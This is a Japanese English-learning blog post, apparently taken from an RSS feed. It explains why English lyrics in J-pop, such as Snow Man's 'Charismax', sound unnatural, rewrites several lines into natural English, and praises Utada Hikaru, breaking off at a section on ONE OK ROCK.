The post <a href="https://ffeng.jp/2025/10/08/jpop-english-lyrics-weird/">なぜ日本の英語歌詞は不自然に聞こえるのか──Snow Manで見るJ-POP英語の現在地</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/01/11/ren5/' title='「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/01/superhero.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「もし私が目黒蓮の彼女なら…」妄想で覚える英語仮定法③ IF 後編</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>最近、リクエストをいただいて、特にSnow Manの楽曲をメインに、日本で作られた英語が多く登場する楽曲を訳しています。その際に、<mark style="background-color:#ffe9ee" class="has-inline-color">「日本の英語歌詞あるあるなのですが、意味のわからない英文が多発します。こんな感じかな？と意訳しております」</mark>という注意書きを入れているのですが、ある時「それってどういうこと？」という問い合わせを頂いたので、今回は、<strong>なぜ日本で作られた英語歌詞が不自然で英語として成り立っていないのか</strong>、をJ-Popを代表してSnow Manや他の英語詞をよく歌うアーティストと比較検証したいと思います。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">この記事を書くにあたり</h2>



<p>1980年代のアイドルソングが流行り出した頃から、歌詞の一部に英語詞が使用され始め、90年代には当たり前の様に様々な楽曲の中で使用されるようになりました。90年代後半から流行り出した楽曲のサビに英語が使われ始めたのを記憶しています。それが、現代の音楽業界に引き継がれています。多くの場合、英語が文法的に意味を成しておらず、「なぜ、こんな英語を使うのだろう」と考えていました。</p>



<p>日本の英語歌詞が不自然に響くのは、制作の優先順位や文化的背景が大きく影響しています。それは欠点であると同時に、J-Popならではの個性にも。<br>意味よりも響きを重視するアプローチと、世界に通じる自然な英語とのあいだ。その揺らぎの中に、J-Popの独自性が息づいているのではないでしょうか。</p>



<p>J-Popのみならず、多くのK-popの英語歌詞にも同じ現象が見られ、英語圏以外の共通問題なのではと考え、検証してみました。</p>



<p>今回は、Snow Manをはじめとするアーティストを取り上げてみましたが、関連各位を責めるための記事ではありませんのでご了承ください。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">なぜ日本の英語歌詞は不自然に聞こえるのか？</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="640" height="426" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/huhmeaning00.jpg?resize=640%2C426&#038;ssl=1" alt="" class="wp-image-4865" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/huhmeaning00.jpg?w=640&amp;ssl=1 640w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/huhmeaning00.jpg?resize=300%2C200&amp;ssl=1 300w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>



<h4 class="wp-block-heading"><span style="text-decoration: underline;">1. 英語歌詞が文法的に成り立たない理由</span></h4>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">サウンド優先の作り方</mark></span></strong><br>J-Popやアイドルソングでは、英語は意味よりも響きを重視して使われることが多いようです。リズムに合うことや発音したときの雰囲気を優先するため、フレーズ自体は格好良くても、文法的にぎこちなくなりがちです。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">作詞家の英語力</mark></span></strong><br>作詞家が必ずしもバイリンガルとは限らないため、教科書的に正しいが子どもっぽい表現や、和製英語的な言い回し、英語の感覚的な組み合わせがそのまま使われることもあります。結果として、ネイティブにとっては不自然に聞こえる歌詞が生まれやすいのです。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">メロディとの制約</mark></span></strong><br>日本語の音数（モーラ）と英語のリズムは必ずしも一致しません。歌いやすさを優先して単語を切ったり強調したりするうちに、意味が伝わりにくくなることがあります。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading"><strong><span style="text-decoration: underline;">2. 面白みがない歌詞になりやすい理由</span></strong></h4>



<p>歌詞に盛り込まれた英語の響きがカッコよくても、訳してみたらなんかイメージと違って面白みがない歌詞だった、という話をよく聞きます。こちらも検証してみましょう。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">スローガン調になりやすい</mark></span></strong><br>日本の作詞家は英語を響きやカッコよさで選びがち。内容の自然さよりもパンチのある単語や、<strong>Break through every limit</strong>や<strong>Believe in yourself</strong>など、日常会話ではほとんど使われないフレーズで力強さを強調したりする場合も。表現が硬く標語に近い響きになり、どこか説教くさく聞こえてしまいます。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">応援歌文化の影響</mark></span></strong><br>日本のアイドルソングやJ-Popは、リスナーに前向きなメッセージを込めた歌が多く、英語パートも応援系のフレーズに偏り、どうしても真面目な響きになってしまいがち。英語圏のポップスが恋愛・日常・比喩を多く扱うのと対照的です。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">ネイティブの余白や曖昧さの欠如</mark></span></strong><br>宇多田ヒカルやKing Gnuなど一部のアーティストは、短くシンプルで、意味をリスナーに委ねる英語的な余白を上手く使います。日本の英語歌詞は、言いたいことを全部言葉にする傾向があります。そのため説明的になりやすく、余韻が薄れてしまいます。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">正しいが平板な英語</mark></span></strong><br>高学歴な作詞家やアーティストが書く英語は、文法的には正しくても比喩や遊びが少なく、「説明」に寄りやすい傾向があります。正確さはあっても、感情の揺れが伝わりにくく「だから何？」と感じられてしまうのです。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">面白みに欠ける具体例</mark></span></strong><br>一見すると相手に語りかけているようでも、繰り返しが乏しく、リズムに乗り切れないまま流れてしまうことがあります。さらに、なぜその言葉を選んだのかという必然性が見えにくいため、聴き手に強い印象を残しにくいのです。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading"><span style="text-decoration: underline;">3. なぜ英語ネイティブの作詞家を使わないのか？</span></h4>



<p>アイドルソングやJ-POPの市場は、国内のファンが主なターゲット。海外向けに通じるかよりも、日本人にカッコよく聞こえるかが優先されます。正しい英語を使用するより、あえて和製英語的な響きを残すケースも多く見かけられます。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading"><span style="text-decoration: underline;">4. 海外アーティストとの違い</span></h4>


<table style="border-collapse: collapse; width: 100%; height: 132px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px; vertical-align: middle;"> </td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px; vertical-align: middle;"><strong>傾向</strong></td>
</tr>
<tr style="height: 46px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 43px; background-color: #ffe3e3;"><strong>海外アーティスト</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 43px; vertical-align: middle;">意味・文法・リズムの三位一体で作詞され、リスナーは歌詞の意味を重視</td>
</tr>
<tr style="height: 46px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 43px; background-color: #ffe3e3;"><strong>日本アーティスト</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 43px; vertical-align: middle;">意味よりも、雰囲気や響きを優先。英語は装飾的要素として入れられることが多い</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">J-POPの英語フレーズを「自然なネイティブ風」にリライトしてみよう！</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="452" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/huhmeaning01.jpg?resize=678%2C452&#038;ssl=1" alt="" class="wp-image-4864" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/huhmeaning01.jpg?w=700&amp;ssl=1 700w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/huhmeaning01.jpg?resize=300%2C200&amp;ssl=1 300w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>ネイティブ向けにするときは比喩・リズム・自然な動詞を加えるだけでグッと洗練されます。<br>先日、ご紹介したSnow Manの『カリスマックス』フレーズをいくつか取り上げて、以下の3段階で検証してみます。</p>



<p></p>



<ol class="wp-block-list">
<li>不自然な和製英語詞</li>



<li>自然な英語にリライト</li>



<li>解説</li>
</ol>



<p><br></p>



<figure class="wp-block-embed is-type-wp-embed"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="t09esEhPEi"><a href="https://ffeng.jp/2025/09/01/snowmaan_charismax/">Snow Man『カリスマックス』和訳　韓国で披露した英語版歌詞も掲載！</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;Snow Man『カリスマックス』和訳　韓国で披露した英語版歌詞も掲載！&#8221; &#8212; たのしむイングリッシュ" src="https://ffeng.jp/2025/09/01/snowmaan_charismax/embed/#?secret=Y9s8KeDvYZ#?secret=t09esEhPEi" data-secret="t09esEhPEi" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div></figure>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<p><strong>例1</strong></p>


<table style="border-collapse: collapse; width: 100%; height: 243px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 57px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 57px;"><strong>No fake smile make it right</strong> <br />てか愛想笑いなんてしない</td>
</tr>
<tr style="height: 46px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 46px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 46px;"><strong>・A real smile will make it right</strong><br data-rich-text-line-break="true" /><strong>・Don’t fake a smile, just make it right</strong></td>
</tr>
<tr style="height: 140px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 140px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 140px;"><strong>・No fake smile</strong>は日本人にとってカッコよく響きますが、英語的には違和感が強い<br /><strong>・</strong>ネイティブは<strong> Don’t fake a smile</strong>（嘘の笑顔を作らないで）のように動詞を使う方が自然<br /><strong>・</strong>文法的に誤り。<strong>no fake smiles＋make it right</strong> がつながらない。ネイティブには意味が曖昧で「偽の笑顔が正しくする？」と解釈されてしまう</td>
</tr>
</tbody>
</table>


<p><strong>例2</strong><br></p>


<table style="border-collapse: collapse; width: 100%; height: 103px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 25%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>Go beyond the limitations</strong><br />限界超えてゆく</td>
</tr>
<tr style="height: 47px;">
<td style="width: 25%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 10px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
<td style="width: 75%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 10px;"><strong>・Break through every limit</strong><br /><strong>・Break through all limits</strong><br /><strong>・Go beyond all boundaries</strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 25%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 47px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 47px; vertical-align: middle;"><strong>・limitation</strong> は単数形で使うと不自然な響きに。「限界突破」の勢いを出すなら<strong> limits</strong> や<strong> boundaries</strong> など複数形の方が伝わりやすい</td>
</tr>
</tbody>
</table>


<p></p>



<div class="wp-block-vk-blocks-border-box vk_borderBox vk_borderBox-background-transparent has-text-color has-pale-cyan-blue-color is-style-vk_borderBox-style-solid-round-tit-tab"><div class="vk_borderBox_title_container has-background has-pale-cyan-blue-background-color"><i class=""></i><h4 class="vk_borderBox_title"><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="music" class="svg-inline--fa fa-music " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"></path></svg></span>ちょっとカリスマックス な解説：「limit」の単数形と複数形の違い <span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="music" class="svg-inline--fa fa-music " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M470.38 1.51L150.41 96A32 32 0 0 0 128 126.51v261.41A139 139 0 0 0 96 384c-53 0-96 28.66-96 64s43 64 96 64 96-28.66 96-64V214.32l256-75v184.61a138.4 138.4 0 0 0-32-3.93c-53 0-96 28.66-96 64s43 64 96 64 96-28.65 96-64V32a32 32 0 0 0-41.62-30.49z"></path></svg></span></h4></div><div class="vk_borderBox_body">
<ol class="wp-block-list">
<li><strong>limit（単数形）</strong></li>
</ol>



<ul class="wp-block-list">
<li>「限界」という概念をひとつの壁として捉えているとき</li>



<li>ネイティブでも「限界を突破する」という時に単数形を使うことも</li>
</ul>



<p>→ <strong>Break through every limit</strong> <strong>= 「あらゆる限界（それぞれの限界という壁）を突破しろ」</strong><br>単数ですが<strong>every</strong>が付いているので「<strong>一つひとつの限界</strong>」を指します。抽象的・比喩的にカッコいい印象に。</p>



<p>◦ 例：<strong>There’s no limit to what you can do.</strong>（君の可能性には限界がない）</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<ol start="2" class="wp-block-list">
<li><strong>limits（複数形）</strong></li>
</ol>



<ul class="wp-block-list">
<li>「複数の制約」や「いくつもの境界線」をイメージ</li>



<li>より物理的・具体的な壁を複数越えるニュアンス</li>
</ul>



<p>→ <strong>Break through all limits = 「あらゆる限界（それぞれの限界という壁）を突破しろ」</strong><br>単数ですが<strong>all</strong>が付いているので「<strong>全ての限界</strong>」を指します。力強くてより一般的な印象に。</p>



<p>◦ 例：<strong>Push your body beyond its limits.</strong>（体力の限界を超えろ）</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<p>歌詞なら「限界という概念」または「具体的な制約」かで単数・複数どちらも成立します。どちらも英語として正しく、どちらでも使えますが、複数形にするとより自然に聞こえます。<br></p>
</div></div>



<p><strong>例</strong>3</p>


<table style="border-collapse: collapse; width: 100%; height: 124px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>Push your hand with strong heart</strong><br />必ず信念を貫く</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 44px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 44px;"><strong>・Raise your hands <span style="color: #f78181;">with courage</span></strong><br /><strong>・Hold your head high,<span style="color: #f78181;"> stay strong</span></strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 34px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 34px; vertical-align: middle;"><strong>・push your hand</strong> という言い方は存在しない<br /><strong>・</strong>強い心で、は <strong>with courage</strong> や <strong>stay strong</strong> が自然</td>
</tr>
</tbody>
</table>


<p><strong>例</strong>4</p>


<table style="border-collapse: collapse; width: 100%; height: 148px;">
<tbody>
<tr style="border-style: dotted; border-color: #fac3d0; background-color: #ffb8c9;">
<td style="width: 24.7619%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>不自然な<br />和製英語歌詞</strong></td>
<td style="width: 75.2381%; border-color: #f6c2cb; border-style: dotted; background-color: #f6c2cb; text-align: center; height: 46px;"><strong>Sticking out genius</strong><br />はみ出す天才</td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 44px; background-color: #ffe3e3;"><strong>リライト案</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 44px;"><strong>・A genius who<span style="color: #f78181;"> stands out</span></strong><br /><strong>・Genius that <span style="color: #f78181;">breaks the mold</span></strong><br /><strong>・<span style="color: #f78181;">Born to stand out</span>, genius inside</strong></td>
</tr>
<tr style="height: 47px;">
<td style="width: 24.7619%; border-style: dotted; border-color: #ffb8c9; text-align: center; vertical-align: middle; height: 58px; background-color: #ffe3e3;"><strong>解説</strong></td>
<td style="width: 75.2381%; border-style: dotted; border-color: #ffb8c9; text-align: left; height: 58px; vertical-align: middle;">文法的に不自然。<strong>genius</strong>（天才）は可算名詞で <strong>sticking out</strong> と組み合わせるのが変。「目立つ天才」「型破り」を自然な英語に変換</td>
</tr>
</tbody>
</table>


<ul class="wp-block-list">
<p><br></p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:66px;height:auto"/></figure>



<h2 class="wp-block-heading">自然な英語歌詞を作れる作詞家はいるの？</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="451" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6.jpg?resize=678%2C451&#038;ssl=1" alt="" class="wp-image-4863" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6.jpg?w=680&amp;ssl=1 680w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6.jpg?resize=300%2C199&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/10/s_204831052-680x452.pagespeed.ce_.rmC8OciYm6.jpg?resize=678%2C452&amp;ssl=1 678w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>日本でも、英語ネイティブの作詞家や、海外のソングライターに依頼すれば、文法的にも自然で国際的に通用する歌詞は作れます。例えば、宇多田ヒカルやONE OK ROCKなどは海外のリスナーからも「自然な英語」と評価されています。</p>



<h4 class="wp-block-heading">1. 宇多田ヒカルのすごさ</h4>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">英語力の高さ</mark></span></strong><br>ニューヨーク育ちで英語が母語。<br>だから 「日本人がカッコいいと思う英語」ではなく「ネイティブが自然だと感じる英語」 を歌詞にできる。“世界に通じる英語”を歌詞として成立させているのが凄みです。多くの日本人アーティストが「和製英語」「文法エラー」「意味不明フレーズ」を使う中、 国際基準の英語でJ-POPを作れる稀有な存在です。<br></p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">宇多田ヒカル“First Love”から英語力を学んでみよう</mark></span></strong><br><br><strong><mark><mark style="background-color:#fadce4" class="has-inline-color has-black-color">You are always gonna be my love</mark></mark></strong><br><br>正しい文法で、ネイティブにも違和感ゼロ。一見、簡単な英語だが、音楽に乗せると、その普通さがストレートに感情を揺さぶり、共感できる普遍的なフレーズへと変わります。さらに、英語のリズムと意味が自然に溶け合っています。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">「普通の英語」をあえて歌詞にできる力</mark></span></strong><br>多くの日本人作詞家はカッコよく見せようとして不自然な英語を選びがち。しかし、宇多田ヒカルの英語歌詞は、文法的にとてもシンプル。普通の英語をそのまま芸術にできるのが凄みです。</p>



<p><strong><span style="text-decoration: underline;"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color">リズムと自然さの両立</mark></span></strong><br>英語を音楽的に機能させる技術が高く、意味を壊さずにメロディに乗せることができる作詞力と作曲力が魅力です。この <mark style="background-color:#ffd9e2" class="has-inline-color"><strong>“You are always gonna be my love”</strong> </mark>という歌詞も音節がメロディにぴったりはまっています。</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-black-color"><span style="text-decoration: underline;">翻訳不可能な「自然さ」</span></mark></strong><br><strong><mark style="background-color:#ffd9e2" class="has-inline-color"><strong>“You are always gonna be my love”</strong> </mark></strong>を、日本語で「あなたはいつまでも私の愛」と歌うとと硬くクサい歌詞になってしまいます。英語で歌うことで、自然な恋人へのつぶやきに聞こえます。日常英語をそのまま歌詞にして違和感なく成立させることは、日本人作詞家には難しいのです。すごさ＝難しい英語ではなく、普通の英語を壊さずに歌詞として成立させること自体が難しく、そこを成功させた第一人者と言えるでしょう。二世タレントの1人ですが、バックグラウンドよりも実力が上回るアーティストです。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:21px;height:auto"/></figure>



<h4 class="wp-block-heading">2. ONE OK ROCKのすごさ</h4>



